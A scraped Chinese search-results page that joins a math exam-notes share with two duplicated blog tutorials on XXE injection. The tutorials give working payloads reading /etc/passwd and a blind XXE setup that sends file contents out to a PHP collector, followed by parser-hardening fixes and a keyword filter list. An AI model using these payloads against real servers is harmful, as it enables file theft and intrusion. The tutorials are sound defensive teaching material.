精华内容
下载资源
问答
  • 本次分享的是博主在考研时整理的最后一份数学知识,也是上考场前对知识最后的强化。因为博主是二战上岸(第一年考数三,第二年考数一),虽然这份笔记总结的内容不多,但这里浓缩了2020前历年数三、数的一真题与模拟...

    本次分享的是博主在考研时整理的最后一份数学知识,也是上考场前对知识最后的强化。因为博主是二战上岸(第一年考数三,第二年考数一),虽然这份笔记总结的内容不多,但这里浓缩了2020前历年数三、数的一真题与模拟题易错的考点和难点。

    网盘链接:https://pan.baidu.com/s/1PTUPviWh3P1zqTycsrlhSg 
    提取码:119c

    链接里有三个版本:1 图片版本,2 pdf版本(导出时有些排版很诡异),3 goodnote版本(可直接使用goodnote软件编辑)

    强化版预览:

    冲刺版预览:

    笔记排版与配色经过深思熟虑考虑与多次修改,争取给大家一种立竿见影又轻松愉悦的体验,博主字不太美观,抱歉啦各位!

    如果发现笔记中的错误、或有疑问,欢迎评论区留言!人都是很坚强的,祝大家学业、事业有成,前程似锦!

     

    感谢大家,这里博主补充一些笔记中没有的做题思路(持续更新):

    1. 高数和线代多做题会有感觉,概率论只有逻辑推倒,无法找出感觉。
    2. 真题会尽可能多的涉及到考点,所以有些知识点几乎必考,如果没考到,想想是否有坑没注意到:
      1. 重积分必考对称性 
      2. 对称区间必考奇偶性
    3. 看着很难求且陌生的积分:这种积分往往使用分部积分法,因为分部积分法不好看出来。
    4. 具体的级数判敛大多数用“等价无穷小”
    5. 级数求S(x)注意定义域,比如当x=0时S(x)与通项不同,这时需要单独列出
    6. 线代判断A与B相似要先凑成AP=PB的形式,很多题是先凑出形式,才看出思路的
    展开全文
  • 为了弥补web安全防御知识以及减少漏洞利用短板,我翻阅了一些关于xxe漏洞的资料,学习后在此总结分享。 XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识。XML被设计为传输和存储数据,其焦点是数据的内容,...

    之前在参加一场CTF竞赛中遇到了xxe漏洞,由于当时并没有研究过此漏洞,解题毫无头绪。为了弥补web安全防御知识以及减少漏洞利用短板,我翻阅了一些关于xxe漏洞的资料,学习后在此总结分享。

    XML基础

    在介绍xxe漏洞前,先学习温顾一下XML的基础知识。XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

    XML文档结构

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    <!--XML申明-->
    <?xml version="1.0"?> 
    <!--文档类型定义-->
    <!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
    <!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
    <!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
    <!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
    <!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
    <!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
    ]]]>
    <!--文档元素-->
    <note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
    </note>

    由于xxe漏洞与DTD文档相关,因此重点介绍DTD的概念。

    DTD

    文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。
    内部声明DTD:

    	
    <!DOCTYPE 根元素 [元素声明]>
    

    引用外部DTD:

    <!DOCTYPE 根元素 SYSTEM "文件名">

    DTD文档中有很多重要的关键字如下:

    • DOCTYPE(DTD的声明)
    • ENTITY(实体的声明)
    • SYSTEM、PUBLIC(外部资源申请)

    实体

    实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
    实体按类型主要分为以下四种:

    • 内置实体 (Built-in entities)
    • 字符实体 (Character entities)
    • 通用实体 (General entities)
    • 参数实体 (Parameter entities)

    实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的申明方式。
    完整的实体类别可参考 DTD - Entities

    实体类别介绍

    参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
    参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。

    内部实体:

     

    <!ENTITY 实体名称 "实体的值">
    

    外部实体:

    	
    <!ENTITY 实体名称 SYSTEM "URI">

    参数实体:

    <!ENTITY % 实体名称 "实体的值">
    或者
    <!ENTITY % 实体名称 SYSTEM "URI">

    实例演示:除参数实体外实体+内部实体

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE a [
        <!ENTITY name "nMask">]>
    <foo>
            <value>&name;</value> 
    </foo>

    实例演示:参数实体+外部实体

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE a [
        <!ENTITY % name SYSTEM "file:///etc/passwd">
        %name;
    ]>

    注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。

    由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。

    外部实体

    外部实体即在DTD中使用

    <!ENTITY 实体名称 SYSTEM "URI">

    语法引用外部的实体,而非内部实体,那么URL中能写哪些类型的外部实体呢?
    主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:

    实例演示:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE a [
        <!ENTITY content SYSTEM "file:///etc/passwd">]>
    <foo>
            <value>&content;</value> 
    </foo>

    XXE漏洞

    XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

    xxe漏洞检测

    第一步检测XML是否会被成功解析:

    <?xml version="1.0" encoding="UTF-8"?>  
    <!DOCTYPE ANY [  
    <!ENTITY name "my name is nMask">]>    
    <root>&name;</root>

    如果页面输出了my name is nMask,说明xml文件可以被解析。

    第二步检测服务器是否支持DTD引用外部实体:

    <?xml version=”1.0” encoding=”UTF-8”?>  
    <!DOCTYPE ANY [  
    <!ENTITY % name SYSTEM "http://localhost/index.html">  
    %name;  
    ]>

    可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求test.xml的请求。

    如果支持引用外部实体,那么很有可能是存在xxe漏洞的。

    xxe漏洞利用

    xxe漏洞的危害有很多,比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等,这里就读取任意文件的利用方式进行测试。

    读取任意文件

    由于我是在windows上做的测试,因此让其读取c盘下的test.txt文件内容。

    如果是linux下,可以读取/etc/passwd等目录下敏感数据。

    以上任意文件读取能够成功,除了DTD可有引用外部实体外,还取决于有输出信息,即有回显。那么如果程序没有回显的情况下,该怎么读取文件内容呢?需要使用blind xxe漏洞去利用。

    blind xxe漏洞

    对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

    创建test.php写入以下内容:

    <?php  
    file_put_contents("test.txt", $_GET['file']) ;  
    ?>

    创建index.php写入以下内容:

    <?php  
    $xml=<<<EOF  
    <?xml version="1.0"?>  
    <!DOCTYPE ANY[  
    <!ENTITY % file SYSTEM "file:///C:/test.txt">  
    <!ENTITY % remote SYSTEM "http://localhost/test.xml">  
    %remote;
    %all;
    %send;  
    ]>  
    EOF;  
    $data = simplexml_load_string($xml) ;  
    echo "<pre>" ;  
    print_r($data) ;  
    ?>

    创建test.xml并写入以下内容:

    [html] view plain copy
    <!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">
    

    当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。

    注:xxe的利用姿势以及绕过防御姿势有很多,这里不再一一介绍啦

    xxe漏洞修复与防御

    使用开发语言提供的禁用外部实体的方法

    PHP:

    libxml_disable_entity_loader(true);

    JAVA:

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);

    Python:

    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    过滤用户提交的XML数据

    过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

     

    展开全文
  • 为了弥补web安全防御知识以及减少漏洞利用短板,我翻阅了一些关于xxe漏洞的资料,学习后在此总结分享。 XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识。XML被设计为传输和存储数据,其焦点是数据的内容...

    之前在参加一场CTF竞赛中遇到了xxe漏洞,由于当时并没有研究过此漏洞,解题毫无头绪。为了弥补web安全防御知识以及减少漏洞利用短板,我翻阅了一些关于xxe漏洞的资料,学习后在此总结分享。

     

    XML基础

    在介绍xxe漏洞前,先学习温顾一下XML的基础知识。XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。


     

     

    XML文档结构

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    
     

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    16

    17

    18

    19

    
     

    <!--XML申明-->

    <?xml version="1.0"?>

    <!--文档类型定义-->

    <!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->

    <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->

    <!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->

    <!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->

    <!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->

    <!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->

    ]]]>

    <!--文档元素-->

    <note>

    <to>Dave</to>

    <from>Tom</from>

    <head>Reminder</head>

    <body>You are a good man</body>

    </note>

     

    由于xxe漏洞与DTD文档相关,因此重点介绍DTD的概念。

    DTD

    文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。
    内部声明DTD:

    
     

    1

    
     

    <!DOCTYPE 根元素 [元素声明]>

     

    引用外部DTD:

    
     

    1

    
     

    <!DOCTYPE 根元素 SYSTEM "文件名">

     

    DTD文档中有很多重要的关键字如下:

    • DOCTYPE(DTD的声明)
    • ENTITY(实体的声明)
    • SYSTEM、PUBLIC(外部资源申请)

    实体

    实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
    实体按类型主要分为以下四种:

    • 内置实体 (Built-in entities)
    • 字符实体 (Character entities)
    • 通用实体 (General entities)
    • 参数实体 (Parameter entities)

     

    实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的申明方式。
    完整的实体类别可参考 DTD - Entities

    实体类别介绍

    参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
    参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。

    内部实体:

    
     

    1

    
     

    <!ENTITY 实体名称 "实体的值">

     

    外部实体:

    
     

    1

    
     

    <!ENTITY 实体名称 SYSTEM "URI">

     

    参数实体:

    
     

    1

    2

    3

    
     

    <!ENTITY % 实体名称 "实体的值">

    或者

    <!ENTITY % 实体名称 SYSTEM "URI">

     

    实例演示:除参数实体外实体+内部实体

    
     

    1

    2

    3

    4

    5

    6

    
     

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE a [

    <!ENTITY name "nMask">]>

    <foo>

    <value>&name;</value>

    </foo>

     

    实例演示:参数实体+外部实体

    
     

    1

    2

    3

    4

    5

    
     

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE a [

    <!ENTITY % name SYSTEM "file:///etc/passwd">

    %name;

    ]>

     

    注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。

    由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。

    外部实体

    外部实体即在DTD中使用

    
     

    1

    
     

    <!ENTITY 实体名称 SYSTEM "URI">

     

    语法引用外部的实体,而非内部实体,那么URL中能写哪些类型的外部实体呢?
    主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:

    实例演示:

    
     

    1

    2

    3

    4

    5

    6

    
     

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE a [

    <!ENTITY content SYSTEM "file:///etc/passwd">]>

    <foo>

    <value>&content;</value>

    </foo>

     

    XXE漏洞

    XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。


     

     

    xxe漏洞检测

    第一步检测XML是否会被成功解析:

    
     

    1

    2

    3

    4

    
     

    <?xml version="1.0" encoding="UTF-8"?>

    <!DOCTYPE ANY [

    <!ENTITY name "my name is nMask">]>

    <root>&name;</root>

     

    如果页面输出了my name is nMask,说明xml文件可以被解析。
    2.pnguploading.4e448015.gif转存失败重新上传取消

    第二步检测服务器是否支持DTD引用外部实体:

    
     

    1

    2

    3

    4

    5

    
     

    <?xml version=”1.0” encoding=”UTF-8”?>

    <!DOCTYPE ANY [

    <!ENTITY % name SYSTEM "http://localhost/index.html">

    %name;

    ]>

     

    可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求test.xml的请求。

    如果支持引用外部实体,那么很有可能是存在xxe漏洞的。

    xxe漏洞利用

    xxe漏洞的危害有很多,比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等,这里就读取任意文件的利用方式进行测试。

    读取任意文件

    由于我是在windows上做的测试,因此让其读取c盘下的test.txt文件内容。

    如果是linux下,可以读取/etc/passwd等目录下敏感数据。

    以上任意文件读取能够成功,除了DTD可有引用外部实体外,还取决于有输出信息,即有回显。那么如果程序没有回显的情况下,该怎么读取文件内容呢?需要使用blind xxe漏洞去利用。

    blind xxe漏洞

    对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

    创建test.php写入以下内容:

    
     

    1

    2

    3

    
     

    <?php

    file_put_contents("test.txt", $_GET['file']) ;

    ?>

     

    创建index.php写入以下内容:

    
     

    1

    2

    3

    4

    5

    6

    7

    8

    9

    10

    11

    12

    13

    14

    15

    
     

    <?php

    $xml=<<<EOF

    <?xml version="1.0"?>

    <!DOCTYPE ANY[

    <!ENTITY % file SYSTEM "file:///C:/test.txt">

    <!ENTITY % remote SYSTEM "http://localhost/test.xml">

    %remote;

    %all;

    %send;

    ]>

    EOF;

    $data = simplexml_load_string($xml) ;

    echo "<pre>" ;

    print_r($data) ;

    ?>

     

    创建test.xml并写入以下内容:

    
     

    1

    2

    
     

    [html] view plain copy

    <!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">

     

    当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。

    注:xxe的利用姿势以及绕过防御姿势有很多,这里不再一一介绍啦

    xxe漏洞修复与防御

    使用开发语言提供的禁用外部实体的方法

    PHP:

    
     

    1

    
     

    libxml_disable_entity_loader(true);

     

    JAVA:

    
     

    1

    2

    
     

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

    dbf.setExpandEntityReferences(false);

     

    Python:

    
     

    1

    2

    
     

    from lxml import etree

    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

     

    过滤用户提交的XML数据

    过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

    参考文档

    https://security.tencent.com/index.php/blog/msg/69
    http://blog.csdn.net/u011721501/article/details/43775691
    https://b1ngz.github.io/XXE-learning-note/
    http://bobao.360.cn/learning/detail/3841.html

    展开全文
  • 访问控制漏洞

    2017-01-17 20:23:12
    本课程旨在弥补当前开发、测试、运维工程师对安全知识的认知不足,为更好的安全工作打下坚实的基础。
  • 浅谈XXE漏洞攻击与防御 发表于2017-06-20 | 分类于web安全 | 热度3189℃ 你会挽着我的衣袖,我会把手揣进裤兜  之前在参加一场CTF竞赛中遇到了...为了弥补web安全防御知识以及减少漏洞利用短板,我翻阅了一些...

    ref:https://thief.one/2017/06/20/1/

    浅谈XXE漏洞攻击与防御

    你会挽着我的衣袖,我会把手揣进裤兜
      之前在参加一场CTF竞赛中遇到了xxe漏洞,由于当时并没有研究过此漏洞,解题毫无头绪。为了弥补web安全防御知识以及减少漏洞利用短板,我翻阅了一些关于xxe漏洞的资料,学习后在此总结分享。

     

    XML基础

    在介绍xxe漏洞前,先学习温顾一下XML的基础知识。XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

    XML文档结构

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    <!--XML申明-->
    <?xml version="1.0"?>
     
    <!--文档类型定义-->
    <!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
    <!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
    <!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
    <!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
    <!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
    <!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
    ]]]>
     
    <!--文档元素-->
    <note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
    </note>

     

    由于xxe漏洞与DTD文档相关,因此重点介绍DTD的概念。

    DTD

    文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。
    内部声明DTD:

    1
    <!DOCTYPE 根元素 [元素声明]>

     

    引用外部DTD:

    1
    <!DOCTYPE 根元素 SYSTEM "文件名">

     

    DTD文档中有很多重要的关键字如下:

    • DOCTYPE(DTD的声明)
    • ENTITY(实体的声明)
    • SYSTEM、PUBLIC(外部资源申请)

    实体

    实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。
    实体按类型主要分为以下四种:

    • 内置实体 (Built-in entities)
    • 字符实体 (Character entities)
    • 通用实体 (General entities)
    • 参数实体 (Parameter entities)

    实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的申明方式。
    完整的实体类别可参考 DTD - Entities

    实体类别介绍

    参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
    参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。

    内部实体:

    1
    <!ENTITY 实体名称 "实体的值">

     

    外部实体:

    1
    <!ENTITY 实体名称 SYSTEM "URI">

     

    参数实体:

    1
    2
    3
    <!ENTITY % 实体名称 "实体的值">
    或者
    <!ENTITY % 实体名称 SYSTEM "URI">

     

    实例演示:除参数实体外实体+内部实体

    1
    2
    3
    4
    5
    6
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE a [
    <!ENTITY name "nMask">]>
    <foo>
    <value>&name;</value>
    </foo>

     

    实例演示:参数实体+外部实体

    1
    2
    3
    4
    5
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE a [
    <!ENTITY % name SYSTEM "file:///etc/passwd">
    %name;
    ]>

     

    注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。

    由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。

    外部实体

    外部实体即在DTD中使用

    1
    <!ENTITY 实体名称 SYSTEM "URI">

     

    语法引用外部的实体,而非内部实体,那么URL中能写哪些类型的外部实体呢?
    主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:

    实例演示:

    1
    2
    3
    4
    5
    6
    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE a [
    <!ENTITY content SYSTEM "file:///etc/passwd">]>
    <foo>
    <value>&content;</value>
    </foo>

     

    XXE漏洞

    XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

    xxe漏洞检测

    第一步检测XML是否会被成功解析:

    1
    2
    3
    4
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE ANY [
    <!ENTITY name "my name is nMask">]>
    <root>&name;</root>

     

    如果页面输出了my name is nMask,说明xml文件可以被解析。

    第二步检测服务器是否支持DTD引用外部实体:

    1
    2
    3
    4
    5
    <?xml version=”1.0” encoding=”UTF-8”?>
    <!DOCTYPE ANY [
    <!ENTITY % name SYSTEM "http://localhost/index.html">
    %name;
    ]>

     

    可通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求test.xml的请求。

    如果支持引用外部实体,那么很有可能是存在xxe漏洞的。

    xxe漏洞利用

    xxe漏洞的危害有很多,比如可以文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等,这里就读取任意文件的利用方式进行测试。

    读取任意文件

    由于我是在windows上做的测试,因此让其读取c盘下的test.txt文件内容。

    如果是linux下,可以读取/etc/passwd等目录下敏感数据。

    以上任意文件读取能够成功,除了DTD可有引用外部实体外,还取决于有输出信息,即有回显。那么如果程序没有回显的情况下,该怎么读取文件内容呢?需要使用blind xxe漏洞去利用。

    blind xxe漏洞

    对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。

    创建test.php写入以下内容:

    1
    2
    3
    <?php
    file_put_contents("test.txt", $_GET['file']) ;
    ?>

     

    创建index.php写入以下内容:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <?php
    $xml=<<<EOF
    <?xml version="1.0"?>
    <!DOCTYPE ANY[
    <!ENTITY % file SYSTEM "file:///C:/test.txt">
    <!ENTITY % remote SYSTEM "http://localhost/test.xml">
    %remote;
    %all;
    %send;
    ]>
    EOF;
    $data = simplexml_load_string($xml) ;
    echo "<pre>" ;
    print_r($data) ;
    ?>

     

    创建test.xml并写入以下内容:

    1
    2
    [html] view plain copy
    <!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">

     

    当访问http://localhost/index.php, 存在漏洞的服务器会读出text.txt内容,发送给攻击者服务器上的test.php,然后把读取的数据保存到本地的test.txt中。

    注:xxe的利用姿势以及绕过防御姿势有很多,这里不再一一介绍啦

    xxe漏洞修复与防御

    使用开发语言提供的禁用外部实体的方法

    PHP:

    1
    libxml_disable_entity_loader(true);

     

    JAVA:

    1
    2
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);

     

    Python:

    1
    2
    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

     

    过滤用户提交的XML数据

    过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

    参考文档

    https://security.tencent.com/index.php/blog/msg/69
    http://blog.csdn.net/u011721501/article/details/43775691
    https://b1ngz.github.io/XXE-learning-note/
    http://bobao.360.cn/learning/detail/3841.html

    转载于:https://www.cnblogs.com/studyskill/p/9034403.html

    展开全文
  • 此外,还需继续弥补知识漏洞,夯实基础,提高灵活运用知识的能力。 二、具体措施: 针对师生教与学的实际情况,拟定本备课组工作计划如下: 1、充分发挥集体作用,团结协作,继续以老带新,师徒结对等方式提高...
  • 验证机制漏洞(一)

    2017-01-17 20:23:12
    本课程旨在弥补当前开发、测试、运维工程师对安全知识的认知不足,为更好的安全工作打下坚实的基础。
  • 验证机制漏洞(二)

    2017-01-17 20:23:12
    本课程旨在弥补当前开发、测试、运维工程师对安全知识的认知不足,为更好的安全工作打下坚实的基础。
  • 本课程旨在弥补当前开发、测试、运维工程师对安全知识的认知不足,为更好的安全工作打下坚实的基础。
  • 会话管理漏洞(下)

    2017-01-17 20:23:12
    本课程旨在弥补当前开发、测试、运维工程师对安全知识的认知不足,为更好的安全工作打下坚实的基础。
  • 验证机制漏洞(三)

    2017-01-17 20:23:12
    本课程旨在弥补当前开发、测试、运维工程师对安全知识的认知不足,为更好的安全工作打下坚实的基础。
  • 会话管理漏洞(上)

    2017-01-17 20:23:12
    本课程旨在弥补当前开发、测试、运维工程师对安全知识的认知不足,为更好的安全工作打下坚实的基础。
  • 验证机制漏洞(四)

    2017-01-17 20:23:12
    本课程旨在弥补当前开发、测试、运维工程师对安全知识的认知不足,为更好的安全工作打下坚实的基础。
  • 如何做好期中考试总结?...初高三的孩子,距离中高考其实不并久远,应当早日发现自己的不足之处,做好“复习计划”,弥补知识漏洞,提高综合运用能力,防止后面慌乱无序的现象发生。 家长应充分认识到,期中考的?..
  • 网络安全知识竞赛题库

    万次阅读 2019-06-25 13:40:52
    6.苹果的icloud存在安全策略漏洞,苹果公司采用限定账户每天登录次数方法进行弥补 8.在享受云服务带来的便捷时,数据安全的主动权掌握在手里(云服务商) 9.用户在使用云服务时,用户和云服务...
  • 网络安全知识试题

    万次阅读 2019-09-20 17:23:24
    6.苹果的icloud存在安全策略漏洞,苹果公司采用限定账户每天登录次数方法进行弥补 8.在享受云服务带来的便捷时,数据安全的主动权掌握在手里(云服务商) 9.用户在使用云服务时,用户和云服务商之间是否需要签订...
  • 这两天啃各公司的校招笔试题目,那些知识上的漏洞和忘记的部分能弥补多少就弥补多少,很多细节的问题,就不直接粘贴资料和博客了,在此一一存为连接记录一下。 1、 关于后缀表达式,也就是逆波兰表达式,这是编译...
  • ②操作系统与应用系统漏洞 ③安全管理问题 ④黑客攻击 ⑤网络犯罪 关于信息系统自身安全的脆弱性: 指信息系统的硬件资源,通信资源,软件及信息资源等,因可预见或不可预见甚至恶意的原因可能导致系统受到破坏,...
  • 以前的数学知识完完全全的交还给老师了,因此连基础的《矩阵相乘》都忘的一干二净了,想借此弥补一下自己的知识漏洞,还有就是帮大家找回那丢失的记忆。
  • CS224n之句法分析总结

    千次阅读 2018-08-28 17:26:47
    CS224n这门课涉及的知识点是很全面的,对于之前一直研究机器翻译的我来说没有接触过句法分析这方面的知识,所以这节课可以带我弥补知识漏洞。当然想要深入了解句法分析光看视频也是没用的,只能算是一个入门。这篇...
  • 作为一个C的新手(虽然学的第一门语言就是C,可是用C实际开发项目却是最近的事情),对使用C过程中遇到的各类问题、疑惑、知识漏洞进行弥补无疑是非常有必要的,于是决定将每次遇到的知识漏洞写到博客上。...
  • 之前看Python基础语法跳跃比较厉害,还有一些知识点没有理解,在这里针对自己的实际情况弥补一下知识漏洞。 1、字符串:python中字符串用' '或者 " " 括起来:  ①如果字符串本身包含 ' ,比如要表示字符串 I'm OK...
  • 实验1

    2018-03-18 13:10:00
    在动手实践的过程中,我深刻体会到了实践的重要性。在编写程序的过程中遇到了一些问题,...实践的意义在于发现问题,弥补自身的知识漏洞,从中学到新东西。 转载于:https://www.cnblogs.com/baiyixin/p/8595150.html...
  • 工作一年,对前端有了一些自己的理解,前端知识太多,于是决定从学习基础知识开始,重新将基础知识进行整理,希望弥补漏洞,并温故知新。 第一章没有太多核心知识,只是对全书进行一个概括性的总结,从js基础语法...
  • 这一周我们主要在学校进行了为期10天的小学期,每天的任务...通过本次学习,我着重练习了不熟悉的链表和文件模块,学到了很多知识,对弥补自己的许多知识漏洞,总体来说获益匪浅。 转载于:https://www.cnblogs.co...

空空如也

空空如也

1 2 3 4 5
收藏数 96
精华内容 38
关键字:

弥补知识漏洞